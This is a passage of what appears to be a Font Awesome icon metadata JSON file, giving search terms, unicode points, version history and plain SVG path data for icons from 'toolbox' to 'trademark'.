    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "chest",
        "container",
        "fix",
        "mechanic",
        "repair",
        "settings",
        "tool",
        "toolbox",
        "tools"
      ]
    },
    "styles": ["solid"],
    "unicode": "f552",
    "label": "Toolbox",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 88v40H336V88c0-4.4-3.6-8-8-8H184c-4.4 0-8 3.6-8 8zm-48 40V88c0-30.9 25.1-56 56-56H328c30.9 0 56 25.1 56 56v40h28.1c12.7 0 24.9 5.1 33.9 14.1l51.9 51.9c9 9 14.1 21.2 14.1 33.9V304H384V288c0-17.7-14.3-32-32-32s-32 14.3-32 32v16H192V288c0-17.7-14.3-32-32-32s-32 14.3-32 32v16H0V227.9c0-12.7 5.1-24.9 14.1-33.9l51.9-51.9c9-9 21.2-14.1 33.9-14.1H128zM0 416V336H128v16c0 17.7 14.3 32 32 32s32-14.3 32-32V336H320v16c0 17.7 14.3 32 32 32s32-14.3 32-32V336H512v80c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 88v40H336V88c0-4.4-3.6-8-8-8H184c-4.4 0-8 3.6-8 8zm-48 40V88c0-30.9 25.1-56 56-56H328c30.9 0 56 25.1 56 56v40h28.1c12.7 0 24.9 5.1 33.9 14.1l51.9 51.9c9 9 14.1 21.2 14.1 33.9V304H384V288c0-17.7-14.3-32-32-32s-32 14.3-32 32v16H192V288c0-17.7-14.3-32-32-32s-32 14.3-32 32v16H0V227.9c0-12.7 5.1-24.9 14.1-33.9l51.9-51.9c9-9 21.2-14.1 33.9-14.1H128zM0 416V336H128v16c0 17.7 14.3 32 32 32s32-14.3 32-32V336H320v16c0 17.7 14.3 32 32 32s32-14.3 32-32V336H512v80c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64z"
      }
    },
    "free": ["solid"]
  },
  "tooth": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9b7"],
        "secondary": ["10f5c9"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bicuspid",
        "dental",
        "dentist",
        "molar",
        "mouth",
        "teeth",
        "tooth"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5c9",
    "label": "Tooth",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M186.1 52.1C169.3 39.1 148.7 32 127.5 32C74.7 32 32 74.7 32 127.5v6.2c0 15.8 3.7 31.3 10.7 45.5l23.5 47.1c4.5 8.9 7.6 18.4 9.4 28.2l36.7 205.8c2 11.2 11.6 19.4 22.9 19.8s21.4-7.4 24-18.4l28.9-121.3C192.2 323.7 207 312 224 312s31.8 11.7 35.8 28.3l28.9 121.3c2.6 11.1 12.7 18.8 24 18.4s20.9-8.6 22.9-19.8l36.7-205.8c1.8-9.8 4.9-19.3 9.4-28.2l23.5-47.1c7.1-14.1 10.7-29.7 10.7-45.5v-2.1c0-55-44.6-99.6-99.6-99.6c-24.1 0-47.4 8.8-65.6 24.6l-3.2 2.8 19.5 15.2c7 5.4 8.2 15.5 2.8 22.5s-15.5 8.2-22.5 2.8l-24.4-19-37-28.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M186.1 52.1C169.3 39.1 148.7 32 127.5 32C74.7 32 32 74.7 32 127.5v6.2c0 15.8 3.7 31.3 10.7 45.5l23.5 47.1c4.5 8.9 7.6 18.4 9.4 28.2l36.7 205.8c2 11.2 11.6 19.4 22.9 19.8s21.4-7.4 24-18.4l28.9-121.3C192.2 323.7 207 312 224 312s31.8 11.7 35.8 28.3l28.9 121.3c2.6 11.1 12.7 18.8 24 18.4s20.9-8.6 22.9-19.8l36.7-205.8c1.8-9.8 4.9-19.3 9.4-28.2l23.5-47.1c7.1-14.1 10.7-29.7 10.7-45.5v-2.1c0-55-44.6-99.6-99.6-99.6c-24.1 0-47.4 8.8-65.6 24.6l-3.2 2.8 19.5 15.2c7 5.4 8.2 15.5 2.8 22.5s-15.5 8.2-22.5 2.8l-24.4-19-37-28.8z"
      }
    },
    "free": ["solid"]
  },
  "torii-gate": {
    "aliases": {
      "unicodes": {
        "composite": ["26e9"],
        "secondary": ["10f6a1"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "religion",
        "shinto",
        "shinto shrine",
        "shintoism",
        "shrine"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6a1",
    "label": "Torii Gate",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 80c0 26.5 21.5 48 48 48H64v64h64V128h96v64h64V128h96v64h64V128h16c26.5 0 48-21.5 48-48V13.4C512 6 506 0 498.6 0c-1.7 0-3.4 .3-5 1l-49 19.6C425.7 28.1 405.5 32 385.2 32H126.8c-20.4 0-40.5-3.9-59.4-11.4L18.4 1c-1.6-.6-3.3-1-5-1C6 0 0 6 0 13.4V80zM64 288V480c0 17.7 14.3 32 32 32s32-14.3 32-32V288H384V480c0 17.7 14.3 32 32 32s32-14.3 32-32V288h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 80c0 26.5 21.5 48 48 48H64v64h64V128h96v64h64V128h96v64h64V128h16c26.5 0 48-21.5 48-48V13.4C512 6 506 0 498.6 0c-1.7 0-3.4 .3-5 1l-49 19.6C425.7 28.1 405.5 32 385.2 32H126.8c-20.4 0-40.5-3.9-59.4-11.4L18.4 1c-1.6-.6-3.3-1-5-1C6 0 0 6 0 13.4V80zM64 288V480c0 17.7 14.3 32 32 32s32-14.3 32-32V288H384V480c0 17.7 14.3 32 32 32s32-14.3 32-32V288h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64z"
      }
    },
    "free": ["solid"]
  },
  "tornado": {
    "aliases": {
      "unicodes": {
        "composite": ["1f32a"],
        "secondary": ["10f76f"]
      }
    },
    "changes": [
      "5.5.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cloud",
        "cyclone",
        "dorothy",
        "landspout",
        "tornado",
        "toto",
        "twister",
        "vortext",
        "waterspout",
        "weather",
        "whirlwind"
      ]
    },
    "styles": ["solid"],
    "unicode": "f76f",
    "label": "Tornado",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32V45.6C0 62.7 1.7 79.6 5 96H357.8c3.2-6.9 7.5-13.3 13-18.8l38.6-38.6c4.2-4.2 6.6-10 6.6-16C416 10.1 405.9 0 393.4 0H32C14.3 0 0 14.3 0 32zm352.2 96H13.6c12.2 35.9 32.3 68.7 58.8 96H412l-47.2-62.9c-7.3-9.7-11.6-21.2-12.6-33.1zm-226 138.2l116.4 68.5c8.2 4.8 15.8 10.7 22.5 17.3H445c2-9.8 3-19.9 3-30.1c0-23-5.3-45.5-15.3-65.9H110.2c5.2 3.6 10.5 7 16 10.2zM288 384c10.3 21.4 13.8 45.5 9.9 69l-5.9 35.7c-2 12.2 7.4 23.4 19.8 23.4c5.3 0 10.4-2.1 14.2-5.9l78.2-78.2c12.8-12.8 23.1-27.7 30.4-43.9H288z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32V45.6C0 62.7 1.7 79.6 5 96H357.8c3.2-6.9 7.5-13.3 13-18.8l38.6-38.6c4.2-4.2 6.6-10 6.6-16C416 10.1 405.9 0 393.4 0H32C14.3 0 0 14.3 0 32zm352.2 96H13.6c12.2 35.9 32.3 68.7 58.8 96H412l-47.2-62.9c-7.3-9.7-11.6-21.2-12.6-33.1zm-226 138.2l116.4 68.5c8.2 4.8 15.8 10.7 22.5 17.3H445c2-9.8 3-19.9 3-30.1c0-23-5.3-45.5-15.3-65.9H110.2c5.2 3.6 10.5 7 16 10.2zM288 384c10.3 21.4 13.8 45.5 9.9 69l-5.9 35.7c-2 12.2 7.4 23.4 19.8 23.4c5.3 0 10.4-2.1 14.2-5.9l78.2-78.2c12.8-12.8 23.1-27.7 30.4-43.9H288z"
      }
    },
    "free": ["solid"]
  },
  "tower-broadcast": {
    "aliases": {
      "names": ["broadcast-tower"],
      "unicodes": {
        "secondary": ["10f519"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "airwaves",
        "antenna",
        "communication",
        "emergency",
        "radio",
        "reception",
        "waves"
      ]
    },
    "styles": ["solid"],
    "unicode": "f519",
    "label": "Tower Broadcast",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M80.3 44C69.8 69.9 64 98.2 64 128s5.8 58.1 16.3 84c6.6 16.4-1.3 35-17.7 41.7s-35-1.3-41.7-17.7C7.4 202.6 0 166.1 0 128S7.4 53.4 20.9 20C27.6 3.6 46.2-4.3 62.6 2.3S86.9 27.6 80.3 44zM555.1 20C568.6 53.4 576 89.9 576 128s-7.4 74.6-20.9 108c-6.6 16.4-25.3 24.3-41.7 17.7S489.1 228.4 495.7 212c10.5-25.9 16.3-54.2 16.3-84s-5.8-58.1-16.3-84C489.1 27.6 497 9 513.4 2.3s35 1.3 41.7 17.7zM352 128c0 23.7-12.9 44.4-32 55.4V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V183.4c-19.1-11.1-32-31.7-32-55.4c0-35.3 28.7-64 64-64s64 28.7 64 64zM170.6 76.8C163.8 92.4 160 109.7 160 128s3.8 35.6 10.6 51.2c7.1 16.2-.3 35.1-16.5 42.1s-35.1-.3-42.1-16.5c-10.3-23.6-16-49.6-16-76.8s5.7-53.2 16-76.8c7.1-16.2 25.9-23.6 42.1-16.5s23.6 25.9 16.5 42.1zM464 51.2c10.3 23.6 16 49.6 16 76.8s-5.7 53.2-16 76.8c-7.1 16.2-25.9 23.6-42.1 16.5s-23.6-25.9-16.5-42.1c6.8-15.6 10.6-32.9 10.6-51.2s-3.8-35.6-10.6-51.2c-7.1-16.2 .3-35.1 16.5-42.1s35.1 .3 42.1 16.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M80.3 44C69.8 69.9 64 98.2 64 128s5.8 58.1 16.3 84c6.6 16.4-1.3 35-17.7 41.7s-35-1.3-41.7-17.7C7.4 202.6 0 166.1 0 128S7.4 53.4 20.9 20C27.6 3.6 46.2-4.3 62.6 2.3S86.9 27.6 80.3 44zM555.1 20C568.6 53.4 576 89.9 576 128s-7.4 74.6-20.9 108c-6.6 16.4-25.3 24.3-41.7 17.7S489.1 228.4 495.7 212c10.5-25.9 16.3-54.2 16.3-84s-5.8-58.1-16.3-84C489.1 27.6 497 9 513.4 2.3s35 1.3 41.7 17.7zM352 128c0 23.7-12.9 44.4-32 55.4V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V183.4c-19.1-11.1-32-31.7-32-55.4c0-35.3 28.7-64 64-64s64 28.7 64 64zM170.6 76.8C163.8 92.4 160 109.7 160 128s3.8 35.6 10.6 51.2c7.1 16.2-.3 35.1-16.5 42.1s-35.1-.3-42.1-16.5c-10.3-23.6-16-49.6-16-76.8s5.7-53.2 16-76.8c7.1-16.2 25.9-23.6 42.1-16.5s23.6 25.9 16.5 42.1zM464 51.2c10.3 23.6 16 49.6 16 76.8s-5.7 53.2-16 76.8c-7.1 16.2-25.9 23.6-42.1 16.5s-23.6-25.9-16.5-42.1c6.8-15.6 10.6-32.9 10.6-51.2s-3.8-35.6-10.6-51.2c-7.1-16.2 .3-35.1 16.5-42.1s35.1 .3 42.1 16.5z"
      }
    },
    "free": ["solid"]
  },
  "tower-cell": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "airwaves",
        "antenna",
        "communication",
        "radio",
        "reception",
        "waves"
      ]
    },
    "styles": ["solid"],
    "unicode": "e585",
    "label": "Tower Cell",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M62.6 2.3C46.2-4.3 27.6 3.6 20.9 20C7.4 53.4 0 89.9 0 128s7.4 74.6 20.9 108c6.6 16.4 25.3 24.3 41.7 17.7S86.9 228.4 80.3 212C69.8 186.1 64 157.8 64 128s5.8-58.1 16.3-84C86.9 27.6 79 9 62.6 2.3zm450.8 0C497 9 489.1 27.6 495.7 44C506.2 69.9 512 98.2 512 128s-5.8 58.1-16.3 84c-6.6 16.4 1.3 35 17.7 41.7s35-1.3 41.7-17.7c13.5-33.4 20.9-69.9 20.9-108s-7.4-74.6-20.9-108C548.4 3.6 529.8-4.3 513.4 2.3zM340.1 165.2c7.5-10.5 11.9-23.3 11.9-37.2c0-35.3-28.7-64-64-64s-64 28.7-64 64c0 13.9 4.4 26.7 11.9 37.2L98.9 466.8c-7.3 16.1-.2 35.1 15.9 42.4s35.1 .2 42.4-15.9L177.7 448H398.3l20.6 45.2c7.3 16.1 26.3 23.2 42.4 15.9s23.2-26.3 15.9-42.4L340.1 165.2zM369.2 384H206.8l14.5-32H354.7l14.5 32zM288 205.3L325.6 288H250.4L288 205.3zM163.3 73.6c5.3-12.1-.2-26.3-12.4-31.6s-26.3 .2-31.6 12.4C109.5 77 104 101.9 104 128s5.5 51 15.3 73.6c5.3 12.1 19.5 17.7 31.6 12.4s17.7-19.5 12.4-31.6C156 165.8 152 147.4 152 128s4-37.8 11.3-54.4zM456.7 54.4c-5.3-12.1-19.5-17.7-31.6-12.4s-17.7 19.5-12.4 31.6C420 90.2 424 108.6 424 128s-4 37.8-11.3 54.4c-5.3 12.1 .2 26.3 12.4 31.6s26.3-.2 31.6-12.4C466.5 179 472 154.1 472 128s-5.5-51-15.3-73.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M62.6 2.3C46.2-4.3 27.6 3.6 20.9 20C7.4 53.4 0 89.9 0 128s7.4 74.6 20.9 108c6.6 16.4 25.3 24.3 41.7 17.7S86.9 228.4 80.3 212C69.8 186.1 64 157.8 64 128s5.8-58.1 16.3-84C86.9 27.6 79 9 62.6 2.3zm450.8 0C497 9 489.1 27.6 495.7 44C506.2 69.9 512 98.2 512 128s-5.8 58.1-16.3 84c-6.6 16.4 1.3 35 17.7 41.7s35-1.3 41.7-17.7c13.5-33.4 20.9-69.9 20.9-108s-7.4-74.6-20.9-108C548.4 3.6 529.8-4.3 513.4 2.3zM340.1 165.2c7.5-10.5 11.9-23.3 11.9-37.2c0-35.3-28.7-64-64-64s-64 28.7-64 64c0 13.9 4.4 26.7 11.9 37.2L98.9 466.8c-7.3 16.1-.2 35.1 15.9 42.4s35.1 .2 42.4-15.9L177.7 448H398.3l20.6 45.2c7.3 16.1 26.3 23.2 42.4 15.9s23.2-26.3 15.9-42.4L340.1 165.2zM369.2 384H206.8l14.5-32H354.7l14.5 32zM288 205.3L325.6 288H250.4L288 205.3zM163.3 73.6c5.3-12.1-.2-26.3-12.4-31.6s-26.3 .2-31.6 12.4C109.5 77 104 101.9 104 128s5.5 51 15.3 73.6c5.3 12.1 19.5 17.7 31.6 12.4s17.7-19.5 12.4-31.6C156 165.8 152 147.4 152 128s4-37.8 11.3-54.4zM456.7 54.4c-5.3-12.1-19.5-17.7-31.6-12.4s-17.7 19.5-12.4 31.6C420 90.2 424 108.6 424 128s-4 37.8-11.3 54.4c-5.3 12.1 .2 26.3 12.4 31.6s26.3-.2 31.6-12.4C466.5 179 472 154.1 472 128s-5.5-51-15.3-73.6z"
      }
    },
    "free": ["solid"]
  },
  "tower-observation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["fire tower", "view"]
    },
    "styles": ["solid"],
    "unicode": "e586",
    "label": "Tower Observation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M241.7 3.4c9-4.5 19.6-4.5 28.6 0l160 80c15.8 7.9 22.2 27.1 14.3 42.9C439 137.5 427.7 144 416 144v80c0 17.7-14.3 32-32 32h-4.9l32 192H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H384.5c-.4 0-.8 0-1.1 0H128.6c-.4 0-.8 0-1.1 0H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h68.9l32-192H128c-17.7 0-32-14.3-32-32V144c-11.7 0-23-6.5-28.6-17.7c-7.9-15.8-1.5-35 14.3-42.9l160-80zM314.5 448L256 399.2 197.5 448h117zM197.8 256l-4.7 28.3L256 336.8l62.9-52.5L314.2 256H197.8zm-13.9 83.2l-11.2 67L218.5 368l-34.6-28.8zM293.5 368l45.8 38.1-11.2-67L293.5 368zM176 128c-8.8 0-16 7.2-16 16s7.2 16 16 16H336c8.8 0 16-7.2 16-16s-7.2-16-16-16H176z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M241.7 3.4c9-4.5 19.6-4.5 28.6 0l160 80c15.8 7.9 22.2 27.1 14.3 42.9C439 137.5 427.7 144 416 144v80c0 17.7-14.3 32-32 32h-4.9l32 192H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H384.5c-.4 0-.8 0-1.1 0H128.6c-.4 0-.8 0-1.1 0H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h68.9l32-192H128c-17.7 0-32-14.3-32-32V144c-11.7 0-23-6.5-28.6-17.7c-7.9-15.8-1.5-35 14.3-42.9l160-80zM314.5 448L256 399.2 197.5 448h117zM197.8 256l-4.7 28.3L256 336.8l62.9-52.5L314.2 256H197.8zm-13.9 83.2l-11.2 67L218.5 368l-34.6-28.8zM293.5 368l45.8 38.1-11.2-67L293.5 368zM176 128c-8.8 0-16 7.2-16 16s7.2 16 16 16H336c8.8 0 16-7.2 16-16s-7.2-16-16-16H176z"
      }
    },
    "free": ["solid"]
  },
  "tractor": {
    "aliases": {
      "unicodes": {
        "composite": ["1f69c"],
        "secondary": ["10f722"]
      }
    },
    "changes": [
      "5.4.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["agriculture", "farm", "tractor", "vehicle"]
    },
    "styles": ["solid"],
    "unicode": "f722",
    "label": "Tractor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 64c0-35.3 28.7-64 64-64H266.3c26.2 0 49.7 15.9 59.4 40.2L373.7 160H480V126.2c0-24.8 5.8-49.3 16.9-71.6l2.5-5c7.9-15.8 27.1-22.2 42.9-14.3s22.2 27.1 14.3 42.9l-2.5 5c-6.7 13.3-10.1 28-10.1 42.9V160h56c22.1 0 40 17.9 40 40v45.4c0 16.5-8.5 31.9-22.6 40.7l-43.3 27.1c-14.2-5.9-29.8-9.2-46.1-9.2c-39.3 0-74.1 18.9-96 48H352c0 17.7-14.3 32-32 32h-8.2c-1.7 4.8-3.7 9.5-5.8 14.1l5.8 5.8c12.5 12.5 12.5 32.8 0 45.3l-22.6 22.6c-12.5 12.5-32.8 12.5-45.3 0l-5.8-5.8c-4.6 2.2-9.3 4.1-14.1 5.8V480c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32v-8.2c-4.8-1.7-9.5-3.7-14.1-5.8l-5.8 5.8c-12.5 12.5-32.8 12.5-45.3 0L40.2 449.1c-12.5-12.5-12.5-32.8 0-45.3l5.8-5.8c-2.2-4.6-4.1-9.3-5.8-14.1H32c-17.7 0-32-14.3-32-32V320c0-17.7 14.3-32 32-32h8.2c1.7-4.8 3.7-9.5 5.8-14.1l-5.8-5.8c-12.5-12.5-12.5-32.8 0-45.3l22.6-22.6c9-9 21.9-11.5 33.1-7.6V192 160 64zm170.3 0H160v96h32H304.7L266.3 64zM176 256a80 80 0 1 0 0 160 80 80 0 1 0 0-160zM528 448a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0 64c-48.6 0-88-39.4-88-88c0-29.8 14.8-56.1 37.4-72c14.3-10.1 31.8-16 50.6-16c2.7 0 5.3 .1 7.9 .3c44.9 4 80.1 41.7 80.1 87.7c0 48.6-39.4 88-88 88z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 64c0-35.3 28.7-64 64-64H266.3c26.2 0 49.7 15.9 59.4 40.2L373.7 160H480V126.2c0-24.8 5.8-49.3 16.9-71.6l2.5-5c7.9-15.8 27.1-22.2 42.9-14.3s22.2 27.1 14.3 42.9l-2.5 5c-6.7 13.3-10.1 28-10.1 42.9V160h56c22.1 0 40 17.9 40 40v45.4c0 16.5-8.5 31.9-22.6 40.7l-43.3 27.1c-14.2-5.9-29.8-9.2-46.1-9.2c-39.3 0-74.1 18.9-96 48H352c0 17.7-14.3 32-32 32h-8.2c-1.7 4.8-3.7 9.5-5.8 14.1l5.8 5.8c12.5 12.5 12.5 32.8 0 45.3l-22.6 22.6c-12.5 12.5-32.8 12.5-45.3 0l-5.8-5.8c-4.6 2.2-9.3 4.1-14.1 5.8V480c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32v-8.2c-4.8-1.7-9.5-3.7-14.1-5.8l-5.8 5.8c-12.5 12.5-32.8 12.5-45.3 0L40.2 449.1c-12.5-12.5-12.5-32.8 0-45.3l5.8-5.8c-2.2-4.6-4.1-9.3-5.8-14.1H32c-17.7 0-32-14.3-32-32V320c0-17.7 14.3-32 32-32h8.2c1.7-4.8 3.7-9.5 5.8-14.1l-5.8-5.8c-12.5-12.5-12.5-32.8 0-45.3l22.6-22.6c9-9 21.9-11.5 33.1-7.6V192 160 64zm170.3 0H160v96h32H304.7L266.3 64zM176 256a80 80 0 1 0 0 160 80 80 0 1 0 0-160zM528 448a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0 64c-48.6 0-88-39.4-88-88c0-29.8 14.8-56.1 37.4-72c14.3-10.1 31.8-16 50.6-16c2.7 0 5.3 .1 7.9 .3c44.9 4 80.1 41.7 80.1 87.7c0 48.6-39.4 88-88 88z"
      }
    },
    "free": ["solid"]
  },
  "trade-federation": {
    "changes": ["5.0.12"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f513",
    "label": "Trade Federation",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8.8c-137 0-248 111-248 248s111 248 248 248 248-111 248-248-111-248-248-248zm0 482.8c-129.7 0-234.8-105.1-234.8-234.8S118.3 22 248 22s234.8 105.1 234.8 234.8S377.7 491.6 248 491.6zm155.1-328.5v-46.8H209.3V198H54.2l36.7 46h117.7v196.8h48.8V245h83.3v-47h-83.3v-34.8h145.7zm-73.3 45.1v23.9h-82.9v197.4h-26.8V232.1H96.3l-20.1-23.9h143.9v-80.6h171.8V152h-145v56.2zm-161.3-69l-12.4-20.7 2.1 23.8-23.5 5.4 23.3 5.4-2.1 24 12.3-20.5 22.2 9.5-15.7-18.1 15.8-18.1zm-29.6-19.7l9.3-11.5-12.7 5.9-8-12.4 1.7 13.9-14.3 3.8 13.7 2.7-.8 14.7 6.8-12.2 13.8 5.3zm165.4 145.2l-13.1 5.6-7.3-12.2 1.3 14.2-13.9 3.2 13.9 3.2-1.2 14.2 7.3-12.2 13.1 5.5-9.4-10.7zm106.9-77.2l-20.9 9.1-12-19.6 2.2 22.7-22.3 5.4 22.2 4.9-1.8 22.9 11.5-19.6 21.2 8.8-15.1-17zM248 29.9c-125.3 0-226.9 101.6-226.9 226.9S122.7 483.7 248 483.7s226.9-101.6 226.9-226.9S373.3 29.9 248 29.9zM342.6 196v51h-83.3v195.7h-52.7V245.9H89.9l-40-49.9h157.4v-81.6h197.8v50.7H259.4V196zM248 43.2c60.3 0 114.8 25 153.6 65.2H202.5V190H45.1C73.1 104.8 153.4 43.2 248 43.2zm0 427.1c-117.9 0-213.6-95.6-213.6-213.5 0-21.2 3.1-41.8 8.9-61.1L87.1 252h114.7v196.8h64.6V253h83.3v-62.7h-83.2v-19.2h145.6v-50.8c30.8 37 49.3 84.6 49.3 136.5.1 117.9-95.5 213.5-213.4 213.5zM178.8 275l-11-21.4 1.7 24.5-23.7 3.9 23.8 5.9-3.7 23.8 13-20.9 21.5 10.8-15.8-18.8 16.9-17.1z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8.8c-137 0-248 111-248 248s111 248 248 248 248-111 248-248-111-248-248-248zm0 482.8c-129.7 0-234.8-105.1-234.8-234.8S118.3 22 248 22s234.8 105.1 234.8 234.8S377.7 491.6 248 491.6zm155.1-328.5v-46.8H209.3V198H54.2l36.7 46h117.7v196.8h48.8V245h83.3v-47h-83.3v-34.8h145.7zm-73.3 45.1v23.9h-82.9v197.4h-26.8V232.1H96.3l-20.1-23.9h143.9v-80.6h171.8V152h-145v56.2zm-161.3-69l-12.4-20.7 2.1 23.8-23.5 5.4 23.3 5.4-2.1 24 12.3-20.5 22.2 9.5-15.7-18.1 15.8-18.1zm-29.6-19.7l9.3-11.5-12.7 5.9-8-12.4 1.7 13.9-14.3 3.8 13.7 2.7-.8 14.7 6.8-12.2 13.8 5.3zm165.4 145.2l-13.1 5.6-7.3-12.2 1.3 14.2-13.9 3.2 13.9 3.2-1.2 14.2 7.3-12.2 13.1 5.5-9.4-10.7zm106.9-77.2l-20.9 9.1-12-19.6 2.2 22.7-22.3 5.4 22.2 4.9-1.8 22.9 11.5-19.6 21.2 8.8-15.1-17zM248 29.9c-125.3 0-226.9 101.6-226.9 226.9S122.7 483.7 248 483.7s226.9-101.6 226.9-226.9S373.3 29.9 248 29.9zM342.6 196v51h-83.3v195.7h-52.7V245.9H89.9l-40-49.9h157.4v-81.6h197.8v50.7H259.4V196zM248 43.2c60.3 0 114.8 25 153.6 65.2H202.5V190H45.1C73.1 104.8 153.4 43.2 248 43.2zm0 427.1c-117.9 0-213.6-95.6-213.6-213.5 0-21.2 3.1-41.8 8.9-61.1L87.1 252h114.7v196.8h64.6V253h83.3v-62.7h-83.2v-19.2h145.6v-50.8c30.8 37 49.3 84.6 49.3 136.5.1 117.9-95.5 213.5-213.4 213.5zM178.8 275l-11-21.4 1.7 24.5-23.7 3.9 23.8 5.9-3.7 23.8 13-20.9 21.5 10.8-15.8-18.8 16.9-17.1z"
      }
    },
    "free": ["brands"]
  },
  "trademark": {
    "aliases": {
      "unicodes": {
        "composite": ["2122"],
        "secondary": ["10f25c"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "copyright",
        "mark",
        "register",
        "symbol",
        "tm",
        "trade mark",
        "trademark"
      ]
    },
    "styles": ["solid"],
    "unicode": "f25c",
    "label": "Trademark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M345.6 108.8c-8.3-11-22.7-15.5-35.7-11.2S288 114.2 288 128V384c0 17.7 14.3 32 32 32s32-14.3 32-32V224l86.4 115.2c6 8.1 15.5 12.8 25.6 12.8s19.6-4.7 25.6-12.8L576 224V384c0 17.7 14.3 32 32 32s32-14.3 32-32V128c0-13.8-8.8-26-21.9-30.4s-27.5 .1-35.7 11.2L464 266.7 345.6 108.8zM0 128c0 17.7 14.3 32 32 32H96V384c0 17.7 14.3 32 32 32s32-14.3 32-32V160h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H32C14.3 96 0 110.3 0 128z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
